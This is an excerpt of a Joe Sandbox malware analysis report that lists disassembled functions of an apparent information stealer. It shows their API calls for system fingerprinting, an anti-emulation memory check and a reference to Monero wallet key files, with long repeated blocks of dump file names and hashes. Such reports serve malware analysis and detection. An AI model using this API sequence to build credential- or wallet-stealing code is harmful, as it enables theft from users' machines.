Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 19e506ded1adf6a7451d64fe5b9df6c9c60576e92fcc11299ca0ac7402edee96
Instruction ID: 4be2a5417713e375d6efa59505c5f389c8f43a8f90505901bad0d6f55877e089
Opcode Fuzzy Hash: 19e506ded1adf6a7451d64fe5b9df6c9c60576e92fcc11299ca0ac7402edee96
Instruction Fuzzy Hash: 6521BB76D00208ABC794F760EC4AEED733CAF55300F008555B75996182DF749AC9CB96

Function 00070740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00D78AA0), ref: 0007079A
StrCmpCA.SHLWAPI(00000000,00D78AF0), ref: 00070866
StrCmpCA.SHLWAPI(00000000,00D78BA0), ref: 0007099D

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a5948e8d1a550c412785f6484fa8ebfa3cbb4ef18f1572233997f97fc8e4ddd4
Instruction ID: 74753edadfd3f493f36cf85f909af514736994596e24443516dc7d3b748795e3
Opcode Fuzzy Hash: a5948e8d1a550c412785f6484fa8ebfa3cbb4ef18f1572233997f97fc8e4ddd4
Instruction Fuzzy Hash: A3916575F00208DFCB28EF64D995AEDB7B5BF95300F40C519E80E9B242DB349A09CB96

Function 00070765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00D78AA0), ref: 0007079A
StrCmpCA.SHLWAPI(00000000,00D78AF0), ref: 00070866
StrCmpCA.SHLWAPI(00000000,00D78BA0), ref: 0007099D

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0193eb07997eb0a528305a790edaf77be41f5726153ba57983142267935899b6
Instruction ID: 0a0718bd32a93dfa602466d53b2d14e87491f85ec790c1f6509d66a6c1ab6a6b
Opcode Fuzzy Hash: 0193eb07997eb0a528305a790edaf77be41f5726153ba57983142267935899b6
Instruction Fuzzy Hash: 14816575F10204DFCB18EF64D995AEDB7B6BF95300F50C519E8099F242DB34AA05CB86

Function 000778E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077910
RtlAllocateHeap.NTDLL(00000000), ref: 00077917
GetComputerNameA.KERNEL32(?,00000104), ref: 0007792F

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: adcbd6a877d1005df9d29542ec3de121ca522516e6257abecb3d714f4ce96570
Instruction ID: 8c857ee573b2efa921fac61709d7112cbfe6a3c8f58f2ab11d9d9659d157dce1
Opcode Fuzzy Hash: adcbd6a877d1005df9d29542ec3de121ca522516e6257abecb3d714f4ce96570
Instruction Fuzzy Hash: F30162B1905205EFC750DF94DD49BAEBBB8FB05B51F10421AE649E2280C77859048BA2

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 00079470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00079484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 000794A5
CloseHandle.KERNEL32(00000000), ref: 000794AF

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: e6e8823ef3d729f770cadce9f7036c6f2504ca5e70e3a619ec38394f4f357ba1
Instruction ID: 24c22a724949e3a56ace4ba962b6429d5e760e2b1f9cc6290e3dc91484ece6e1
Opcode Fuzzy Hash: e6e8823ef3d729f770cadce9f7036c6f2504ca5e70e3a619ec38394f4f357ba1
Instruction Fuzzy Hash: 49F0307490020CABDB04DF94DC4AFED7774EB08300F004454BA0957190DBB45E85CB91

Function 00061110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0006112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00061132
ExitProcess.KERNEL32 ref: 00061143

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d8db3fddff972aba1d848d681113fb99434cf91a92e935a6b08aa4dd99b19824
Instruction ID: eb1094504e3810b5d76321532d186ab2879c593cd20d52ea4338ca553ec09def
Opcode Fuzzy Hash: d8db3fddff972aba1d848d681113fb99434cf91a92e935a6b08aa4dd99b19824
Instruction Fuzzy Hash: 77E0E670945308FFE7506BA0AD0EB5D76B8AF05B01F104055F709BA1D1DBB52A40D699

Function 00071A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 00077500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00077542
Part of subcall function 00077500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0007757F
Part of subcall function 00077500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077603
Part of subcall function 00077500: RtlAllocateHeap.NTDLL(00000000), ref: 0007760A

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 00077690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 000776A4
Part of subcall function 00077690: RtlAllocateHeap.NTDLL(00000000), ref: 000776AB

Part of subcall function 000777C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0007DBC0,000000FF,?,00071C99,00000000,?,00D7D4F8,00000000,?), ref: 000777F2
Part of subcall function 000777C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0007DBC0,000000FF,?,00071C99,00000000,?,00D7D4F8,00000000,?), ref: 000777F9

Part of subcall function 00077850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000611B7), ref: 00077880
Part of subcall function 00077850: RtlAllocateHeap.NTDLL(00000000), ref: 00077887
Part of subcall function 00077850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0007789F

Part of subcall function 000778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077910
Part of subcall function 000778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00077917
Part of subcall function 000778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0007792F

Part of subcall function 00077980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00080E00,00000000,?), ref: 000779B0
Part of subcall function 00077980: RtlAllocateHeap.NTDLL(00000000), ref: 000779B7
Part of subcall function 00077980: GetLocalTime.KERNEL32(?,?,?,?,?,00080E00,00000000,?), ref: 000779C4
Part of subcall function 00077980: wsprintfA.USER32 ref: 000779F3

Part of subcall function 00077A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00D7D818,00000000,?,00080E10,00000000,?,00000000,00000000), ref: 00077A63
Part of subcall function 00077A30: RtlAllocateHeap.NTDLL(00000000), ref: 00077A6A
Part of subcall function 00077A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00D7D818,00000000,?,00080E10,00000000,?,00000000,00000000,?), ref: 00077A7D

Part of subcall function 00077B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00D7D818,00000000,?,00080E10,00000000,?,00000000,00000000), ref: 00077B35

Part of subcall function 00077B90: GetKeyboardLayoutList.USER32(00000000,00000000,000805AF), ref: 00077BE1
Part of subcall function 00077B90: LocalAlloc.KERNEL32(00000040,?), ref: 00077BF9
Part of subcall function 00077B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00077C0D
Part of subcall function 00077B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00077C62
Part of subcall function 00077B90: LocalFree.KERNEL32(00000000), ref: 00077D22

Part of subcall function 00077D80: GetSystemPowerStatus.KERNEL32(?), ref: 00077DAD

GetCurrentProcessId.KERNEL32(00000000,?,00D7D778,00000000,?,00080E24,00000000,?,00000000,00000000,?,00D7DAD0,00000000,?,00080E20,00000000), ref: 0007207E

Part of subcall function 00079470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00079484
Part of subcall function 00079470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 000794A5
Part of subcall function 00079470: CloseHandle.KERNEL32(00000000), ref: 000794AF

Part of subcall function 00077E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077E37
Part of subcall function 00077E00: RtlAllocateHeap.NTDLL(00000000), ref: 00077E3E
Part of subcall function 00077E00: RegOpenKeyExA.KERNEL32(80000002,00D6BD20,00000000,00020119,?), ref: 00077E5E
Part of subcall function 00077E00: RegQueryValueExA.KERNEL32(?,00D7D658,00000000,00000000,000000FF,000000FF), ref: 00077E7F
Part of subcall function 00077E00: RegCloseKey.ADVAPI32(?), ref: 00077E92

Part of subcall function 00077F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00077FC9
Part of subcall function 00077F60: GetLastError.KERNEL32 ref: 00077FD8

Part of subcall function 00077ED0: GetSystemInfo.KERNEL32(00080E2C), ref: 00077F00
Part of subcall function 00077ED0: wsprintfA.USER32 ref: 00077F16

Part of subcall function 00078100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00D7D9C8,00000000,?,00080E2C,00000000,?,00000000), ref: 00078130
Part of subcall function 00078100: RtlAllocateHeap.NTDLL(00000000), ref: 00078137
